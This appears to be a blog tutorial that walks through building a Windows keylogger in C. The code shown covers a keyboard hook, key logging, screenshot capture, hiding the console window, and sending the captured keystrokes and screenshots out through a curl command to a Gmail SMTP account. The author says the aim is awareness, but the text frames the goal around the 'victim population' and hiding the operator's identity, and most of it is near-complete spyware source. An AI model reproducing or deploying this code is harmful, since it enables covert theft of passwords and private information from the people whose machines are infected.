# Making your first keylogger

## Introduction

Today, I will show you how you can make your own keylogger in order to understand how this can be quite dangerous for the people and consequently for the companies itself.

If you are a python lover, I’m sorry in advance, but today we will come back to the roots by using C.

## Why C language?

Why I choose C for making my first keylogger? Well, it’s a good question, but I can answer by saying why a didn’t choose python to do so. Mainly, to run a python script, you must have python installed on the machine and we never know if the victim computer has it or not. I know that exist some tools to create an executable and it doesn’t require python installed to run, but its efficiency is quite dubious, I think. Anyway, I also choose C because we avoid this last point I mentioned before and because we have, in this way, a low-level language capable to use the OS resources more efficiently (Dependent of the programmer). And off course, most of the system operators are built with C, so we have sure that our program will work fine.

## OS target

We can run a C application in all of the most used operator systems, but they differ in certain things, like we cannot compile a program on a UNIX system and run it on Windows. It will simple not work. In this case, we will also need to use some specific libraries that are different in each operating system, so we need to choose a target OS to focus on.

Based on the market today, I think Windows still having a good part of it, so to increase our victim population, we will focus on Windows for this implementation.

What Windows version? You ask. It’s not important right now, but for this particular case we will use Windows 10 as a target.

## What is a keylogger?

A Keylogger is a program, or a device installed on the victim machine used to detect any key stroke and persist it somewhere for analysis purposes. With that, the attacker can extract a lot of information provided by the victim when he is using their computer.

This can be very critical since we can catch all the credentials and confidential information that the victim write with his keyboard.

## Building the KeyLogger

Enough of cheap talk, let start building the keylogger.

### Defining hook

First, we need to define the hook responsible to catch all the keystrokes events. A hook is a point in the system message-handling mechanism where we can put our functions before the message reach the target window procedure. Please check the documentation [here](https://docs.microsoft.com/en-us/windows/win32/winmsg/hooks).

So, this is how our function will look like:

LRESULT CALLBACK keyboardHookCallback( int nCode, WPARAM wParam, LPARAM lParam )

{

char pressedKey;

KBDLLHOOKSTRUCT \*pKeyBoard = (KBDLLHOOKSTRUCT \*)lParam;

int keyRelease = 0;

**switch**( wParam )

{

**case** WM\_KEYUP:

keyRelease = 1;

**case** WM\_SYSKEYDOWN:

**case** WM\_KEYDOWN:

pressedKey = pKeyBoard->vkCode;

**break**;

**default**:

**return** CallNextHookEx( NULL, nCode, wParam, lParam );

**break**;

}

writeKey(pressedKey, buffer, keyRelease);

**if**(isBufferFull()){

sendEmail(buffer);

clearBuffer();

}

**return** CallNextHookEx( NULL, nCode, wParam, lParam);

}

# Explaining the code here, this function will receive three parameters. I will not focus on giving the details about them, but for our case we will use the lParam and casting it to KBDLLHOOKSTRUCT. This struct has the vkCode that represents the [virtual key code](https://docs.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes).

After that we verify what is the key event. In this case I want to set a flag to know when the key is released. This will be useful when we deal with some keys like the SHIFT.

I want to log when the SHIFT is release because sometimes, we keep it pressed to write uppercase letters.

In all cases, we take the pressed/released key, and we log the key to a buffer. When the buffer is full, we send an email with the log and we clear the buffer.

You might note we call CallNextHookEx. This is necessary to continue the current hook chain. See the full documentation [here](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-callnexthookex).

### Installing hook

To install the hook, you just need the use SetWindowHookEx passing the hook id, the callback function we defined previously, a handle to the DLL containing the hook procedure and zero to the hook procedure be associated with all existing threads running in the same desktop.

int installKeyboardHook(**void**){

HINSTANCE instance = GetModuleHandle(NULL);

HHOOK keyboardHook = SetWindowsHookEx( WH\_KEYBOARD\_LL, keyboardHookCallback, instance, 0);

**return** keyboardHook != NULL ? 1 : 0;

}

### Key interpreter

In order to log the key name and not the virtual key code, we need to translate them. For that, you can implement as you want, depending on your taste.

Right below you have an example of how we can interpret the key, but once more, this is something you can customize or optimize by your own free spirit.

**void** writeKey(int key, char \*buffer, int keyReleased){

**switch**(key){

**case** VK\_TAB:

strcat(buffer, "[TAB]");

**break**;

**case** VK\_ESCAPE:

strcat(buffer, "[ESC]");

**break**;

**(…)**

**default**:

strcat(buffer, (char \*) &key);

}

}

### Sending the email (with an extra)

To send the email I decided to use curl. Here you can use the libcurl that provide the functions to use curl programmatically. However, in order to turn it simpler, I will use the command directly in the shell. Take a look on [libcurl documentation](https://curl.se/libcurl/c/) if you choose to use their functions.

To send an email we need a smtp server, so thank you gmail for your services. Make sure you use an account allowing less secure apps and don’t use your personal email since it’s supposed to hide your entity.

The curl command to send the email is the following:

**const** char curlCommand[] = ".\\curl -k --ssl-reqd --url \"smtps://smtp.gmail.com:465\" --user \"«username»@gmail.com: «password»\" --mail-from \"«username»@gmail.com\" --mail-rcpt \"«username»@gmail.com\" --upload-file email.txt";

Check [here](https://explainshell.com/explain?cmd=curl+-k+--ssl-reqd+--url+%22smtps%3A%2Fsmtp.gmail.com%3A465%22+--user+%22%C2%ABusername%C2%BB%40gmail.com%3A+%C2%ABpassword%C2%BB%22+--mail-from+%22%C2%ABusername%C2%BB%40gmail.com%22+--mail-rcpt+%22joe%40gmail.com%22+--upload-file+email.txt) the command explanation.

Before executing the command, we need to create the email.txt file that will have the email structure to be sent. Here is where we will put a cool extra to our keylogger. What if we send the email not just with the keystrokes log but with a friendly screen shot of the victim computer? How cool is that?

I know this is out of the keylogger scope, but it is a nice feature to add, showing how problematic this kind of programs can be. So before starting, let’s take a look on the email structure.

MIME-Version: 1.0

Subject: Key logger report

From: **«email from»**

To: **«email to»**

Content-Type: multipart/mixed; boundary=\"000000000000ad833405ca5415da\"

--000000000000ad833405ca5415da

Content-Type: multipart/alternative; boundary=\"000000000000ad833205ca5415d8\"

--000000000000ad833205ca5415d8

Content-Type: text/plain; charset=\"UTF-8\"

**«log»**

--000000000000ad833205ca5415d8

Content-Type: text/html; charset=\"UTF-8\"

Content-Transfer-Encoding: quoted-printable

<div>**«log»**</div>

--000000000000ad833205ca5415d8--

--000000000000ad833405ca5415da

Content-Type: image/bmp; name=\"screenShot.bmp\"

Content-Disposition: attachment; filename=\"screenShot.bmp\"

Content-Transfer-Encoding: base64

X-Attachment-Id: f\_ksqj342c0

Content-ID: <f\_ksqj342c0>

**«screenshot base64»**

--000000000000ad833405ca5415da--

I got this structure by checking the original message in gmail for a random email and adapted it to our case here. Note that to pass our screen shot in the attachment, we need to convert it to base64. Below, we have the function that will create the email file to be used on curl command with the structure mentioned before. In this case we are saving the screen shot in a file and after we read from it. If you want, you can optimize this in order to not work with files.

int createEmailFile(char \*data){

takeScreenShot();

char \*imageFileString = 0;

char \*imageBase64 = 0;

FILE \*imageFile = fopen("screenShot.bmp", "rb");

**if**(imageFile){

long length;

fseek(imageFile, 0, SEEK\_END);

length = ftell(imageFile);

fseek(imageFile, 0, SEEK\_SET);

imageFileString = malloc(length);

fread(imageFileString, 1, length, imageFile);

fclose(imageFile);

imageBase64 = base64\_encode(imageFileString, length);

free(imageFileString);

}

FILE \*fp = fopen("email.txt", "ab+");

**if**(fp == NULL){

**return** -1;

}

fprintf(fp, "MIME-Version: 1.0\nSubject: Key logger report\nFrom: %s\nTo: %s\nContent-Type: multipart/mixed; boundary=\"000000000000ad833405ca5415da\"\n\n--000000000000ad833405ca5415da\nContent-Type: multipart/alternative; boundary=\"000000000000ad833205ca5415d8\"\n\n--000000000000ad833205ca5415d8\nContent-Type: text/plain; charset=\"UTF-8\"\n\n%s\n\n--000000000000ad833205ca5415d8\nContent-Type: text/html; charset=\"UTF-8\"\nContent-Transfer-Encoding: quoted-printable\n\n<div dir=3D\"ltr\">%s</div>\n\n--000000000000ad833205ca5415d8--\n--000000000000ad833405ca5415da\nContent-Type: image/bmp; name=\"screenShot.bmp\"\nContent-Disposition: attachment; filename=\"screenShot.bmp\"\nContent-Transfer-Encoding: base64\nX-Attachment-Id: f\_ksqj342c0\nContent-ID: <f\_ksqj342c0>\n\n%s\n--000000000000ad833405ca5415da--\n", FROM, TO, data, data, imageBase64);

fclose(fp);

free(imageBase64);

**return** 1;

}

On the first line of the previous function, we call the takeScreenShot function that will capture the screen and save it to a file. Check the implementation below:

int takeScreenShot() {

int screenHeight = GetSystemMetrics(SM\_CYVIRTUALSCREEN);

int screenWidth = GetSystemMetrics(SM\_CXVIRTUALSCREEN);

*// get a desktop device context*

HDC hdc = GetDC(NULL);

HDC hDest = CreateCompatibleDC(hdc);

HBITMAP hbCapture = CreateCompatibleBitmap(hdc, screenWidth, screenHeight);

SelectObject(hDest, hbCapture);

*// Take the screen shot*

BitBlt(hDest, 0,0, screenWidth, screenHeight, hdc, 0, 0, SRCCOPY);

*// clean all resources*

ReleaseDC(NULL, hdc);

DeleteDC(hDest);

**return** saveScreenShot(hbCapture, "screenShot.bmp");

}

Here, we start to obtain the screen dimensions and get the device context of the entire screen.

After that, we need to create a bitmap compatible with the device context and after, use it to save the screen data by calling the BitBlt function.

You can see the documentation of these functions [here](https://docs.microsoft.com/en-us/windows/win32/api/wingdi/) for further details.

The hbCapture is the variable that contains our screen shot and, in this case, we will use it to create an image file to read and convert to base64 as explained before.

Finally, to send the email you just need to execute the curl command mentioned before by using the system function. Don’t forget to delete any file generated.

**void** deleteFiles(){

remove("email.txt");

remove("screenShot.bmp");

}

int sendEmail(char \*data){

**if**(createEmailFile(data) < 0){

**return** -1;

}

system(curlCommand);

deleteFiles();

**return** 0;

}

Taking all together, we can simply use our main function to initialize all the resources and start the keylogger process. To do so, you can do it like this:

**int** main(**void**)

{

**if**(!initBuffer()) {

**return** -1;

}

*//Hiding program execution*

HWND hideWindow = FindWindow("ConsoleWindowClass", NULL);

ShowWindow(hideWindow, 0);

**if**(!installKeyboardHook()){

**return** -1;

}

MSG Msg;

**while**(GetMessage(&Msg, NULL, 0, 0)){

TranslateMessage(&Msg);

DispatchMessage(&Msg);

}

uninstallKeyboardHook();

freeBuffer();

**return** 0;

}

To keep the program execution, we are using the GetMessage function where we pass the second parameter as NULL in order to retrieves messages for any window that belongs to the current thread and the third and fourth parameters we pass with zero to return all available messages. Using the GetMessage function, the keyboard events are obtained from the queue and redirected using the DispatchMessage function.

The TranslateMessage function translates virtual-key messages into character messages. It’s this function that define WM\_KEYDOWN, WM\_KEYUP, WM\_SYSKEYDOWN, WM\_SYSKEYUP messages where we use on our hook function to decide when we should log the key.